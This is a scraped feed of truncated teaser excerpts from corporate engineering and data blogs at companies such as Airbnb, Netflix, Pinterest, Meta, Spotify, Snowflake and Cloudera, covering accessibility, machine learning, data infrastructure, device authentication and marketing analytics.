By: Julia Fu, Peter ElliottAt Airbnb, we have been consciously designing and building products to be equally usable by all users. Making our mobile apps and websites more accessible not only aligns with our company’s mission of creating a world where people can belong anywhere, but also supports the civil rights of people with disabilities and complies with the law.In this article, we highlight some of the efforts we have made to make the app more accessible, for example, labeling UI elements, grouping related content, supporting large font scale, providing heading and page names. The Airbnb app is one of the most popular travel apps with millions of users and supports many features. Making…

How Airbnb uses visual attributes to enhance the Guest and Host experienceBy Yuanpei Cao, Bill Ulammandakh, Hao Wang, and Tony HwangIntroductionOn Airbnb, our hosts share unique listings all over the world. There are hundreds of millions of accompanying listing photos on Airbnb. Listing photos contain crucial information about style and design aesthetics that are difficult to convey in words or a fixed list of amenities. Accordingly, multiple teams at Airbnb are now leveraging computer vision to extract and incorporate intangibles from our rich visual data to help guests easily find listings that suit their preferences.In previous blog posts titled WIDeText: A Multimodal Deep Learning Frame…

How Airbnb is applying declarative design patterns to rapidly build fluid transition animationsBy: Cal StephensMotion is a key part of what makes a digital experience both easy and delightful to use. Fluid transitions between states and screens are key for helping the user preserve context as they navigate throughout a feature. Quick flourishes of animation make an app come alive, and help give it a distinct personality.At Airbnb we launch hundreds of features and experiments that have been developed by engineers across many teams. When building at this scale, it’s critical to consider efficiency and maintainability throughout our tech stack–and motion is no exception. Adding animations to …

A new rendering engine with significant performance improvements powered by Core AnimationBy: Cal StephensLottie is Airbnb’s cross-platform, open source library for rendering vector motion graphics. We use Lottie extensively at Airbnb, and it also powers animations in thousands of other apps throughout the industry.Example Lottie animations included in Airbnb’s iOS appToday we’re releasing Lottie 4.0 for iOS. This major new release brings significant performance improvements to all Lottie animations, with a brand new rendering engine powered by Core Animation.Using Lottie at scale for many years, we’ve learned a lot about its performance characteristics in real-world use cases. We found tha…

Leveraging text generation models to build more effective, scalable customer support products.Gavin Li, Mia Zhao and Zhenyu ZhaoOne of the fastest-growing areas in modern Artificial Intelligence (AI) is AI text generation models. As the name suggests, these models generate natural language. Previously, most industrial natural language processing (NLP) models were classifiers, or what might be called discriminative models in machine learning (ML) literature. However, in recent years, generative models based on large-scale language models are rapidly gaining traction and fundamentally changing how ML problems are formulated. Generative models can now obtain some domain knowledge through large…

Airbnb Categories Blog Series — Part IBy: Mihajlo Grbovic, Ying Xiao, Pratiksha Kadam, Aaron Yin, Pei Xiong, Dillon Davis, Aditya Mukherji, Kedar Bellare, Haowei Zhang, Shukun Yang, Chen Qian, Sebastien Dubois, Nate Ney, James Furnary, Mark Giangreco, Nate Rosenthal, Cole Baker, Bill Ulammandakh, Sid Reddy, Egor PakhomovFigure 1. Browsing listings by categories: Castles, Desert, Design, Beach & Countryside25 Years of Online Travel SearchOnline travel search hasn’t changed much in the last 25 years. The traveler enters her destination, dates, and the number of guests into a search interface, which dutifully returns a list of options that best meet the criteria. Eventually, Airbnb and other t…

Mussel — Airbnb’s Key-Value Store for Derived DataHow Airbnb built a persistent, high availability and low latency key-value storage engine for accessing derived data from offline and streaming events.By: Chandramouli Rangarajan, Shouyan Guo, Yuxi JinIntroductionWithin Airbnb, many online services need access to derived data, which is data computed with large scale data processing engines like Spark or streaming events like Kafka and stored offline. These services require a high quality derived data storage system, with strong reliability, availability, scalability, and latency guarantees for serving online traffic. For example, the user profiler service stores and accesses real-time and hi…

Beyond A/B Test : Speeding up Airbnb Search Ranking Experimentation through InterleavingIntroduction of Airbnb interleaving experimentation framework, usage and approaches to address challenges in our unique businessQing Zhang, Michelle Du, Reid Andersen, Liwei HeIntroductionWhen a user searches for a place to stay on Airbnb, we aim to show them the best results possible. Airbnb’s relevance team actively works on improving search ranking experience and helps users to find and book listings that match their preference. A/B test is our approach for online assessment. Our business metrics are conversion-focused, and the frequency of guest travel transactions is lower than on other e-commerce p…

This blog aims to introduce Airbnb’s experience upgrading Data Warehouse infrastructure to Spark and Iceberg.By: Ronnie Zhu, Edgar Rodriguez, Jason Xu, Gustavo Torres, Kerim Oktay, Xu ZhangIntroductionIn this blog, we will introduce our motivations for upgrading our Data Warehouse Infrastructure to Spark 3 and Iceberg. We will briefly describe the current state of Airbnb data warehouse infrastructure and the challenges. We will then share our learnings from upgrading one critical production workload: event data ingestion. Finally, we will share the results and the lessons learned.ContextAirbnb’s Data Warehouse (DW) storage was previously migrated from legacy HDFS clusters to S3 to provide b…

Part II: Near Real-time ExperimentsBy: Mike Lin, Preeti Ramasamy, Toby Mao, Zack Loebel-BegelmanIn our first post we discussed the need for a near real time Safe Deploy system and some of the statistics that power its decisions. In this post we will cover the architecture and engineering choices behind the various components that Safe Deploys comprises.Designing a near real-time experimentation system required making explicit tradeoffs among speed, precision, cost, and resiliency. An early decision was to limit near real-time results to only the first 24 hours of an experiment — enough time to catch any major issues and transition to using comprehensive results from the batch pipeline. The …

Scalable Annotation Service — Markenby Varun Sekhri, Meenakshi JindalIntroductionAt Netflix, we have hundreds of micro services each with its own data models or entities. For example, we have a service that stores a movie entity’s metadata or a service that stores metadata about images. All of these services at a later point want to annotate their objects or entities. Our team, Asset Management Platform, decided to create a generic service called Marken which allows any microservice at Netflix to annotate their entity.AnnotationsSometimes people describe annotations as tags but that is a limited definition. In Marken, an annotation is a piece of metadata which can be attached to an object f…

by Jasmine Omeke, Obi-Ike Nwoke, Olek GorajekIntroThis post is for all data practitioners, who are interested in learning about bootstrapping, standardization and automation of batch data pipelines at Netflix.You may remember Dataflow from the post we wrote last year titled Data pipeline asset management with Dataflow. That article was a deep dive into one of the more technical aspects of Dataflow and didn’t properly introduce this tool in the first place. This time we’ll try to give justice to the intro and then we will focus on one of the very first features Dataflow came with. That feature is called sample workflows, but before we start in let’s have a quick look at Dataflow in general.D…

by Christos G. Bampis, Li-Heng Chen and Zhi LiWhen you are binge-watching the latest season of Stranger Things or Ozark, we strive to deliver the best possible video quality to your eyes. To do so, we continuously push the boundaries of streaming video quality and leverage the best video technologies. For example, we invest in next-generation, royalty-free codecs and sophisticated video encoding optimizations. Recently, we added another powerful tool to our arsenal: neural networks for video downscaling. In this tech blog, we describe how we improved Netflix video quality with neural networks, the challenges we faced and what lies ahead.How can neural networks fit into Netflix video encodin…

Match Cutting: Finding Cuts with Smooth Visual Transitions Using Machine LearningBy Boris Chen, Kelli Griggs, Amir Ziai, Yuchen Xie, Becky Tucker, Vi Iyengar, Ritwik Kumar, Keila Fong, Nagendra Kamath, Elliot Chow, Robert Mayer, Eugene Lok, Aly Parmelee, Sarah BlankCreating Media with Machine Learning episode 1IntroductionAt Netflix, part of what we do is build tools to help our creatives make exciting videos to share with the world. Today, we’d like to share some of the work we’ve been doing on match cuts.https://medium.com/media/f0a78d7f38bd14f60761a93c160f92bd/hrefIn film, a match cut is a transition between two shots that uses similar visual framing, composition, or action to fluidly br…

By: Peter Cioni (Netflix), Alex Schworer (Netflix), Mac Moore (Conductor Tech.), Rachel Kelley (AWS), Ranjit Raju (AWS)Rendering is core to the VFX processVFX studios around the world create amazing imagery for Netflix productions. Nearly every show that is produced today includes digital visual effects, from the creatures in Stranger Things, to recreating historic London in Bridgerton.Netflix production teams work with a global roster of VFX studios (both large and small) and their artists to create this amazing imagery. But it’s not easy: to pull this off, VFX studios need to build and operate serious technical infrastructure (compute, storage, networking, and software licensing), otherwi…

By Vi Iyengar, Keila Fong, Hossein Taghavi, Andy Yao, Kelli Griggs, Boris Chen, Cristina Segalin, Apurva Kansara, Grace Tang, Billur Engin, Amir Ziai, James Ray, Jonathan Solorzano-HamiltonWelcome to the first post in our multi-part series on how Netflix is developing and using machine learning (ML) to help creators make better media — from TV shows to trailers to movies to promotional art and so much more.Media is at the heart of Netflix. It’s our medium for delivering a range of emotions and experiences to our members. Through each engagement, media is how we bring our members continued joy.This blog series will take you behind the scenes, showing you how we use the power of machine learn…

By Soheil Esmaeilzadeh, Negin Salajegheh, Amir Ziai, Jeff BooteIntroductionStreaming services serve content to millions of users all over the world. These services allow users to stream or download content across a broad category of devices including mobile phones, laptops, and televisions. However, some restrictions are in place, such as the number of active devices, the number of streams, and the number of downloaded titles. Many users across many platforms make for a uniquely large attack surface that includes content fraud, account fraud, and abuse of terms of service. Detection of fraud and abuse at scale and in real-time is highly challenging.Data analysis and machine learning techniq…

By Vadim Filanovsky and Harshad SaneIn one of our previous blogposts, A Microscope on Microservices we outlined three broad domains of observability (or “levels of magnification,” as we referred to them) — Fleet-wide, Microservice and Instance. We described the tools and techniques we use to gain insight within each domain. There is, however, a class of problems that requires an even stronger level of magnification going deeper down the stack to introspect CPU microarchitecture. In this blogpost we describe one such problem and the tools we used to solve it.The problemIt started off as a routine migration. At Netflix, we periodically reevaluate our workloads to optimize utilization of avail…

by Tomasz Bak and Fabio KungIntroductionTitus is the Netflix cloud container runtime that runs and manages containers at scale. In the time since it was first presented as an advanced Mesos framework, Titus has transparently evolved from being built on top of Mesos to Kubernetes, handling an ever-increasing volume of containers. As the number of Titus users increased over the years, the load and pressure on the system increased substantially. The original assumptions and architectural choices were no longer viable. This blog post presents how our current iteration of Titus deals with high API call volumes by scaling out horizontally.We introduce a caching mechanism in the API gateway layer,…

by Jun He, Akash Dwivedi, Natallia Dzenisenka, Snehal Chennuru, Praneeth Yenugutala, Pawan DixitAt Netflix, Data and Machine Learning (ML) pipelines are widely used and have become central for the business, representing diverse use cases that go beyond recommendations, predictions and data transformations. A large number of batch workflows run daily to serve various business needs. These include ETL pipelines, ML model training workflows, batch jobs, etc. As Big data and ML became more prevalent and impactful, the scalability, reliability, and usability of the orchestrating ecosystem have increasingly become more important for our data scientists and the company.In this blog post, we introd…

A conversation between Travis Brooks, Netflix Product Manager for Experimentation Platform, and George Khachatryan, OfferFit CEONote: I’ve known George for a little while now, and as we’ve talked a lot about the philosophy of experimentation, he kindly invited me to their office (virtually) for their virtual speaker series. We had a fun conversation with his team, and we realized that some parts of it might make a good blog post as well. So we jointly edited a bit for length and clarity, and are posting here as well as on OfferFit’s blog. Hope you enjoy the result. — Travis B.George Khachatryan: Travis, could you tell us a bit about your background and how you came to your current role?Trav…

Armen Tashjian | Security Engineer, Corporate SecurityThis blog article is the second part of our recently released blog: Enforcing Device AuthN & Compliance at Pinterest.IntroAs part of our device authentication and compliance initiative, Pinterest has implemented employee-facing mutual TLS with a custom identity provider in a way that results in a positive user experience.You may have heard of, or experienced first hand, some unpleasant behavior while attempting to authenticate with a certificate within a browser or application. Even the Wikipedia page for mutual TLS mentions that mTLS is a “..less user-friendly experience, [and] it’s rarely used in end-user applications…”.At Pinterest, w…

Armen Tashjian | Security Engineer, Corporate SecurityIntroPinterest has enforced the use of managed and compliant devices in our Okta authentication flow, using a passwordless implementation, so that access to our tools always requires a healthy Pinterest device.Following the phishing-based attacks against our peers in the tech industry, Pinterest decided to take a two pronged approach to defend against similar attacks. We decided to:Require a managed and healthy Pinterest device be used to access all Pinterest resources, even when in the possession of valid credentialsRequire FIDO2 credentials for user authenticationIn this post, we’ll be focusing on how we required the use of Pinterest m…

Liang Ma | Software Engineer, Core Eng; Wei Zhu | Software Engineer, ObservabilityIn early 2020, during a critical iOS out of memory incident (we have a blogpost for that), we realized that we didn’t have much visibility of how the app is running or a good system to look up for monitoring and troubleshooting.State of loggingAt that time, on the client side, there were a few ways for logging in their daily work:Context logging: built for logging and reporting impressions or anything related to business, thus a time critical and first-class endpoint. Developers need to explicitly define keys that would otherwise be rejected by the endpoint. Some companies call it “analytics logging.”Misc: log…

Grey Skold | (former Android Video Engineer) ; Lin Wang | Android Performance Engineer; Sheng Liu | Android Performance EngineerPinterest Android App offers a rare experience with a mix of images and videos on a two-column grid. In order to maintain a performant video experience on Android devices, we focused on:Warming upConfigurationsPooling playersWarming UpIn order to reduce the startup latency, we establish a video network connection by sending a dummy HTTP HEAD request during the early application startup time. The same connection can be used to play future videos. This is done even before any video urls are returned from our server.The same strategy also applies to UI rendering. We f…

Kelvin Jiang, Software Engineer, Ads Intelligence | Keshava Subramanya, Engineering Manager, Ads Intelligence | Perrye Ogunwole, Product Manager, Ads IntelligenceIntroductionThe Ads Intelligence team at Pinterest builds products that help advertisers maximize the value they get out of their ad campaigns. As part of that initiative, we have recently launched Flexible Daily Budgets (FDB) to US advertisers in open beta.Figure 1: Flexible daily budgets option in the campaign create flowFDB is an automated ads product that benefits advertisers by distributing the advertising budget for each campaign across multiple days in an automated manner. The goals of this product are to:Enable advertisers …

Xue Xia, Software Engineer, Homefeed Ranking; Neng Gu, Software Engineer, Content & User Understanding; Dhruvil Deven Badani, Engineering Manager, Homefeed Ranking; Andrew Zhai, Software Engineer, Advanced Technologies GroupImage from https://wallpapercave.com/neural-networks-wallpapers#google_vignetteIn this blog post, we will demonstrate how we improved Pinterest Homefeed engagement volume from a machine learning model design perspective — by leveraging realtime user action features in Homefeed recommender system.BackgroundThe Homepage of Pinterest is the one of most important surfaces for pinners to discover inspirational ideas and contributes to a large fraction of overall user engageme…

Lin Wang | Android Performance EngineerDesigned by AJ Oxendine | Software EngineerIt’s a well-known fact for Android developers that an app’s manifest (AndroidManifest.xml) holds crucial application declarations. It is rarely monitored after being set up because we assume it hardly ever changes. At Pinterest, however, we have been actively monitoring the manifest after realizing it does change every so often.While building an app, Gradle downloads all the dependent libraries to compile and link them with the app. These dependent libraries each have their own mini manifest. During the build process, Android Gradle Plugin (AGP) merges them with the app’s main manifest to form the final manife…

Bella Huang | Software Engineer, Home Candidate Generation; Raymond Hsu | Engineer Manager, Home Candidate Generation; Dylan Wang | Engineer Manager, Home RelevanceIn Homefeed, ~30% of recommended pins come from pin to pin-based retrieval. This means that during the retrieval stage, we use a batch of query pins to call our retrieval system to generate pin recommendations. We typically use a user’s previously engaged pins, and a user may have hundreds (or thousands!) of engaged pins, so a key problem for us is: how do we select the right query pins from the user’s profile?User Profiling with PinnerSAGE OverviewAt Pinterest, we use PinnerSAGE as the main source of a user’s pin profile. Pinner…

Khubi Shah | (former) Software Engineer Intern, Shopping Content MiningThis summer, I had the incredible opportunity to intern at the one and only Pinterest from the new engineering hub in Toronto!I am a final year undergraduate student from the University of Waterloo, majoring in Computer Science with an AI specialization. Growing up, Pinterest was always my go-to social media platform, as it inspired me with new ideas for food, fashion, design, or anything creative! As a result, when I was given the opportunity to join as a Software Engineering Intern this summer in Toronto, I was beyond thrilled to be a part of the company mission: to bring everyone the inspiration to create a life they …

Ankita Girish Wagh | Senior Software Engineer, Storage and CachingIntroduction and MotivationAt Pinterest, HBase is one of the most critical storage backends, powering many online storage services like Zen (graph database), UMS (wide column datastore), and Ixia (near real time secondary indexing service). The HBase Ecosystem, though having various advantages like strong consistency at row level in high volume requests, flexible schema, low latency access to data, Hadoop integration, etc. cannot serve the needs of our clients for the next 3–5 years. This is due to high operational cost, excessive complexity, and missing functionalities like secondary indexes, support for transactions, etc.Af…

Nishant Roy | Engineering Manager, Ads Serving PlatformIntro & BackgroundThe Pinterest ads serving platform delivered >$2.5 billion in ad spend in 2021 from thousands of advertisers. Our customer operations team receives 600+ tickets on average every month from advertisers who are looking to understand their performance on our platform. One of the most common questions we receive is why a particular advertiser/ad campaign is not fully utilizing its budget. This question requires a deep analysis of an ad recommendation system consisting of 5+ microservices, 1M+ lines of code, and 100+ active developers, serving >90 million requests everyday. This blog describes how we built a system to swift…

Chanheum (Sean) Cho | ML Engineer, Ads Intelligence; Ruixin Qiang |ML Engineer, Ads Intelligence; Keshava Subramanya |Engineering Manager, Ads IntelligenceIntroductionUnderstanding the size of the potential audience of an ad is an important consideration for an advertiser. It enables advertisers to estimate the total population who might be interested in the products or services they advertise and plan their budgets ahead of time. The Ads Intelligence team at Pinterest provides a service called Potential Audience Size in the Ads Manager, so the advertisers can understand their target audience size while they configure their ad groups. The service updates the estimate in real time as the aud…

We’re sharing how Meta is applying statistics and machine learning (ML) to improve notification personalization and management on Instagram – particularly on daily digest push notifications. By using causal inference and ML to identify highly active users who are likely to see more content organically, we have been able to reduce the number of notifications [...]

Read More...

The post Improving Instagram notification management with machine learning and causal inference appeared first on Engineering at Meta.

Many of Meta’s products, such as search, ads ranking and Marketplace, utilize AI models to continuously improve user experiences. As the performance of hardware we use to support training infrastructure increases, we need to scale our data ingestion infrastructure accordingly to handle workloads more efficiently. GPUs, which are used for training infrastructure, tend to double [...]

Read More...

The post Scaling data ingestion for machine learning training at Meta appeared first on Engineering at Meta.

What the research is: Federated learning with differential privacy (FL-DP) is one of the latest privacy-enhancing technologies being evaluated at Meta as we constantly work to enhance user privacy and further safeguard users’ data in the products we design, build, and maintain. FL-DP enhances privacy in two important ways: It allows machine learning (ML) models [...]

Read More...

The post Applying federated learning to protect data on mobile devices appeared first on Engineering at Meta.

At Spotify, change is a constant, and our agile coaches are here to help teams and leaders thrive as we evolve. With agile principles famously part of our DNA, Spotify doesn’t need “transformation coaches,” as they are often known in the industry, but coaches who transform as organizational needs change. In the early 2010s, our [...]

The post Agile Coaching (AC) at Spotify: Shining a Light on the AC Career Framework appeared first on Spotify Engineering.

We did a couple of new things in Wrapped this year, and one of these is a thing called Your Listening Personality. You got one. There are 16 of them, in total: It’s not a lottery or a horoscope, though. As the four-letter codes at the bottom of each one hint, each Listening Personality is [...]

The post What’s a “Listening Personality”? appeared first on Spotify Engineering.

ICYMI Spotify officially began selling enterprise software today: the Spotify Plugins for Backstage bundle subscription. Some of these commercial plugins began life as internal tools, built by Spotify developers, for Spotify developers. Other plugins in the bundle are brand new to the Backstage platform. But they all embody our ways of working — our secret [...]

The post Shipping Spotify’s Culture: 5 Plugins (and 4 Principles) for Supercharging Developer Experience at Scale appeared first on Spotify Engineering.

Needing to deliver faster and more reliably while managing a growing number of contributors and a more complex codebase seems like the fate of every hyper-growth tech company. For platform teams, the challenge is not any different. How can we quickly roll out and increase the adoption of new technologies safely with a growing codebase [...]

The post Strategies and Tools for Performing Migrations on Platform appeared first on Spotify Engineering.

We started developing our vulnerability management platform (VMP) at Spotify in Q2, 2020, and now that we’ve implemented it and use the system in our day-to-day work, we wanted to take a moment to share our journey to help reduce security risks in an efficient and scalable manner. Vulnerabilities Preventing vulnerabilities within Spotify is the [...]

The post Spotify’s Vulnerability Management Platform appeared first on Spotify Engineering.

TL;DR The core motivation for Spotify’s Client Platform (CliP) team is empowering and unblocking client developers and giving teams the tools they need to ensure a happy and satisfying developer experience (DX). In line with this, we wanted to improve the coding experience for our development teams through infrastructure changes. We conducted research among 318 [...]

The post How We Improved the Development Experience for our Client Developers appeared first on Spotify Engineering.

The role of the CDO will not suffer the slow rise to prominence other emerging C-level roles have seen in previous years. Modern technologies designed to easily centralize, access, analyze, share, and monetize data have arrived. As a result, data has become the most powerful resource to drive an organization’s transformation. That puts CDOs at […]

The post My 2023 Predictions for Chief Data Officers appeared first on Snowflake.

Markets are perpetually shifting and change is unavoidable, but to keep up with those shifting tides companies need to stay focused on digital transformation. Leaders across many industries and companies of all sizes report that one of their biggest challenges is siloed data. The top challenge for businesses with digital transformation goals in 2023 is […]

The post Powering Digital Transformation: How Western Union Leverages the Data Cloud to Lead in the Data Economy appeared first on Snowflake.

A number of blog posts, mainly from competitors, call out Snowflake as expensive. But in our conversations with customers, we frequently hear that Snowflake provides the best value for the money of any enterprise data platform option available today. So what gives? The fact is that data platforms are not created equal, and comparing the […]

The post Snowflake: A Data Platform that Does More and Costs Less appeared first on Snowflake.

Accurately defining customer identity is the foundation of building personalized customer experiences. It’s not getting any easier as customer expectations continue to rise. We, as customers, increasingly expect to be understood by the brands we engage with, and identity is key to this understanding. Yet marketers struggle with not only gaining an accurate picture of […]

The post Know Thy Customer: Why Identity and Enrichment Benefit from the Modern Marketing Data Stack appeared first on Snowflake.

The lingering effects of the global pandemic are merging with inflation to create a perfect storm for retailers looking to find the right inventory stature for the seasons ahead. Companies are getting squeezed between rising supply chain costs and falling consumer confidence. To succeed in this volatile market, McKinsey suggests that retailers “accelerate decision-making tenfold.” […]

The post How Retailers Optimize Merchandising and Assortment Planning Strategies with the Snowflake Retail Data Cloud  appeared first on Snowflake.

It’s 2023 and with the new year comes an opportunity to drive innovation, growth, and digital transformation with data in the face of ongoing economic turbulence. If Snowflake’s report, How to Win in Today’s Data Economy is any indication, data-driven organizations are poised to emerge as the winners of the year with 77% Data Economy […]

The post 11 Predictions Data Experts Have for the Year Ahead appeared first on Snowflake.

Accessing data from the manufacturing shop floor is one of the key topics of interest with the majority of cloud platform vendors due to the pace of Industry 4.0 adoption. Industry 4.0, also known as the Fourth Industrial Revolution, refers to the emerging trend of technological transformation in manufacturing and related industries. It involves the […]

The post Manufacturing Data Ingestion into Snowflake appeared first on Snowflake.

Marketing data integration is the process of combining marketing data from different sources to create a unified and consistent view. If you’re running marketing campaigns on multiple platforms—Facebook, Instagram, TikTok, email—you need marketing data integration. Why? Because being able to assimilate data from different channels and across multiple marketing touchpoints gives you visibility into the […]

The post Data Integration & Modeling: The Unsung Heroes of the Marketing Data Stack? appeared first on Snowflake.

The Chief Data Officer is arguably one of the most important roles at a company, particularly those that aspire to be data-driven. CDO appointments and the elevation of data leaders have accelerated in recent years, and the role has morphed as perceptions of data have evolved. Responsibilities span strategy and execution, people and processes, and […]

The post Driving Data, Delivering Value: Data Leaders to Watch in 2023 appeared first on Snowflake.

Genomic data, which is the DNA data of organisms, is essential to life sciences companies. For population studies, anonymized data sets can link long-term health histories with treatment patterns and genomic variations, making it possible to analyze effective approaches for subpopulations. In clinical trials and drug discovery, pharmaceutical research that combines patient health data, drug […]

The post Leveraging Snowflake to Enable Genomic Analytics at Scale appeared first on Snowflake.

In the final month of 2022, Snowflake rolled out new security capabilities, a native VSCode extension, as well as new Snowflake Marketplace providers across different categories. Security Database roles now in public preview Database roles are a new Snowflake object type within a database. Privileges on securable objects within the same database can be assigned […]

The post New Snowflake Features Released in December 2022 appeared first on Snowflake.

Nearly 60% of CMOs report increased pressure from their CEOs to prove the impact of their marketing spend (Deloitte, CMO Survey 2021). Yet more than half of them also report that they are not thrilled with their marketing analytics. The modern marketing data stack is coming of age, taking its place alongside traditional MarTech to […]

The post The Modern Marketing Data Stack and What It Means for Analytics appeared first on Snowflake.

Metadata:

(SEO Team to complete)

Title: Cloud Migration Can Take Different Paths: Map Your Journey

Description: In today’s blog post, we explore different perspectives and paths when it comes to migrating from legacy systems to the Data Cloud. The post Cloud Migration Can Take Different Paths: Map The Right Journey For You appeared first on Snowflake.

Last year, Snowflake announced an intent to acquire Applica, a company focused on machine learning (ML) solutions for understanding documents. We are working full steam ahead on integrating Applica’s technology with Snowflake. But what does that mean for you? In this blog post, I’ll describe how you can get value from unstructured data, how we’re […]

The post Snowflake’s Vision for Easier Analysis of Unstructured Data Starts with Document Intelligence appeared first on Snowflake.

Data monetization: It’s the holy grail of revenue growth today. The global market for data monetization, which was estimated to be at $1.6 billion in 2020, is projected to reach $4.1 billion by 2026. Retailers have troves of data in their customer databases and from their loyalty programs. This data, when shared securely and in […]

The post How Retailers Drive Revenue Through Data Monetization with the Snowflake Retail Data Cloud appeared first on Snowflake.

The move toward renewable energy has a distinct and significant impact on energy generation and distribution that needs to be carefully managed. Efficient use of data will therefore be critical to improving the competitiveness and productivity of assets, both traditional and renewable generation.

The post Optimizing the Energy Sector with Data Analytics appeared first on Cloudera Blog.

We are pleased to announce that Cloudera has been named a Leader in the 2022 Gartner® Magic Quadrant™ for Cloud Database Management Systems. Cloudera has been recognized in this cloud DBMS report since its inception in 2020. This year we’ve been named a Leader. This validates our significant momentum in global enterprises. And together, with […]

The post Cloudera Named a Leader in the 2022 Gartner® Magic Quadrant™ for Cloud Database Management Systems (DBMS) appeared first on Cloudera Blog.

Since we announced the general availability of Apache Iceberg in Cloudera Data Platform (CDP), Cloudera customers, such as Teranet, have built open lakehouses to future-proof their data platforms for all their analytical workloads. Cloudera partners are also benefiting from Apache Iceberg in CDP. For example, Modak Nabu is helping their enterprise customers accelerate data ingestion, […]

The post Implement a Multi-Cloud Open Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

Introduction Stream processing is about creating business value by applying logic to your data while it is in motion. Many times that involves combining data sources to enrich a data stream. Flink SQL does this and directs the results of whatever functions you apply to the data into a sink. Business use cases, such as […]

The post Enriching Streams with Hive tables via Flink SQL appeared first on Cloudera Blog.

Innovation Accelerator Spotlight: Data teams can collaborate to streamline data transformation and analytics pipelines in the open data lakehouse using any engine, and in any form factor to produce high quality data that your business can trust.

The post Cloudera’s Open Data Lakehouse Supercharged with dbt Core(tm) appeared first on Cloudera Blog.

The promise of a modern data lakehouse architecture Imagine having self-service access to all business data, anywhere it may be, and being able to explore it all at once. Imagine quickly answering burning business questions nearly instantly, without waiting for data to be found, shared, and ingested. Imagine independently discovering rich new business insights from […]

The post The Modern Data Lakehouse: An Architectural Innovation appeared first on Cloudera Blog.

Cloudera Machine Learning (CML) is a cloud-native and hybrid-friendly machine learning platform. It unifies self-service data science and data engineering in a single, portable service as part of an enterprise data cloud for multi-function analytics on data anywhere. CML empowers organizations to build and deploy machine learning and AI capabilities for business at scale, efficiently […]

The post Building Custom Runtimes with Editors in Cloudera Machine Learning appeared first on Cloudera Blog.

In June 2022, Cloudera announced the general availability of Apache Iceberg in the Cloudera Data Platform (CDP). Iceberg is a 100% open-table format, developed through the Apache Software Foundation, which helps users avoid vendor lock-in and implement an open lakehouse. The general availability covers Iceberg running within some of the key data services in CDP, […]

The post How to Use Apache Iceberg in CDP’s Open Lakehouse appeared first on Cloudera Blog.

Fine grained access control (FGAC) with Spark Apache Spark with its rich data APIs has been the processing engine of choice in a wide range of applications from data engineering to machine learning, but its security integration has been a pain point. Many enterprise customers need finer granularity of control, in particular at the column […]

The post Applying Fine Grained Security to Apache Spark appeared first on Cloudera Blog.

Cloudera Technology Spotlight

The post Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

Cloudera customers run some of the biggest data lakes on earth. These lakes power mission critical large scale data analytics, business intelligence (BI), and machine learning use cases, including enterprise data warehouses. In recent years, the term “data lakehouse” was coined to describe this architectural pattern of tabular analytics over data in the data lake. […]

The post The Future of the Data Lakehouse – Open appeared first on Cloudera Blog.

A guide to tune and troubleshoot performance of the Hive on Tez after upgrading to CDP

The post Optimizing Hive on Tez Performance appeared first on Cloudera Blog.

Data holds incredible untapped potential for Australian organisations across industries, regardless of individual business goals, and all organisations are at different points in their data transformation journey with some achieving success faster than others. To be successful, the use of data insights must become a central lifeforce throughout an organisation and not just reside within […]

The post From the Ground Up: The Truth About Data Innovation appeared first on Cloudera Blog.

Any sports player or fan should be aware that data analysis has become a significant part of sports. As individuals and teams seek to gain an advantage over the opposition, analyzing data and using the results to shape your performance is one of the best ways to get ahead. Whether you are an English Premier […]

Big data technology is driving major changes in the healthcare profession. In particular, big data is changing the state of nursing. Nursing professionals will need to appreciate the importance of big data and know how to use it effectively. Keep reading to learn more. The Growing Relevance of Big Data in the Nursing Profession Healthcare […]

We have talked about ways that big data can help grow your business. But big data can also help demonstrate the importance of pursuing a degree in business as well. Data analytics technology is constantly shedding new insights into our lives. Many things are well observed through anecdotal experiences, but we have had a hard […]

Every year, we hear new stories about how artificial intelligence technology is becoming more integral to the marketing profession. In 2022, one of the biggest breakthroughs ever was the emergence of AI art. However, there are other benefits of AI in marketing that get less publicity. One of them is the use of AI in […]

Data analytics technology has become a very important element of modern marketing. One of the ways that big data is transforming marketing is through SEO. We have previously talked about data-driven SEO. However, we feel that it is time to have a more nuanced discussion about using big data in SEO. You may want to […]

AI technology has significantly disrupted the world of business. According to a survey by IBM, 35% of companies report using AI. But what are the best ways to leverage artificial intelligence? One of the most important is to use AI to improve the quality of your websites. A growing number of companies are using AI […]

Analytics technology is changing the state of many different industries. The construction sector is no exception. Construction companies are projected to spend nearly $19.7 billion on analytics technology by 2027. While a growing number of construction companies are starting to appreciate the importance of analytics technology, some are still unaware of the benefits. Construction companies […]

The biggest threat to digital security is weaponized artificial intelligence (AI), which is ubiquitous and damaging. AI is neither good nor bad, but the people behind it can distinguish between AI being an asset or a threat. Cyber-attacks have grown in frequency and sophistication and have become more difficult to detect and stop. The profitability […]

Artificial Intelligence (AI) is revolutionizing the way content is created and distributed. It has become an increasingly integral part of the content writing landscape, allowing writers to create more accurate, relevant, and engaging content in less time than ever before. In this article, we’ll explore how artificial intelligence is changing the content writing landscape. Here […]

The post 10 Ways How Artificial Intelligence Is Changing the Content Writing Landscape appeared first on SmartData Collective.

IoT solutions as well as Business Intelligence tools are widely used by companies all over the world to improve their processes. But what if we combine these technologies? Will it make sense? There can’t be other answers apart from “Yes”. In this article, we offer you to have a look at how it can be […]

The post How IoT Can Be Connected to Business Intelligence appeared first on SmartData Collective.

Data analytics technology has led to a number of impressive changes in the financial industry. A growing number of financial professionals are investing in data analytics technology to provide better service to their customers. The market for financial data in the United States alone is projected to be worth over $20.8 billion by the end […]

In today’s world, data is more widely available to businesses than ever before. Whether it’s data about customer demographics, product colors that tend to sell better, or which cold email scripts are the most effective, organizations have the power to utilize data to help them inform their decision-making process in a variety of ways. However, […]

We previously stated that AI is changing the state of graphic design. A growing number of new startups use AI technology to create excellent graphics. Of course, the biggest story of 2022 was that AI-generated art was making major headway. However, AI can be even more important for more mundane graphic design tasks. What should […]

The post Amazing AI-based Image Upscaler From VanceAI appeared first on SmartData Collective.

AI technology is becoming more important than ever. According to CompTIA, 91.5% of top businesses use AI technology on a regular basis. A growing number of AI startups are offering original solutions to help other organizations and consumers. You can improve the likelihood that your AI startup will succeed by setting your company up abroad […]

The post Actionable Tips To Set Up an AI Tech Venture Abroad appeared first on SmartData Collective.

Data analytics technology is becoming more important for marketing than ever before. Companies are projected to spend over $27 billion on marketing analytics by 2031. One of the many ways that marketers are leveraging data analytics is SEO. Data-driven SEO can be very beneficial for any company trying to boost organic search traffic to their […]

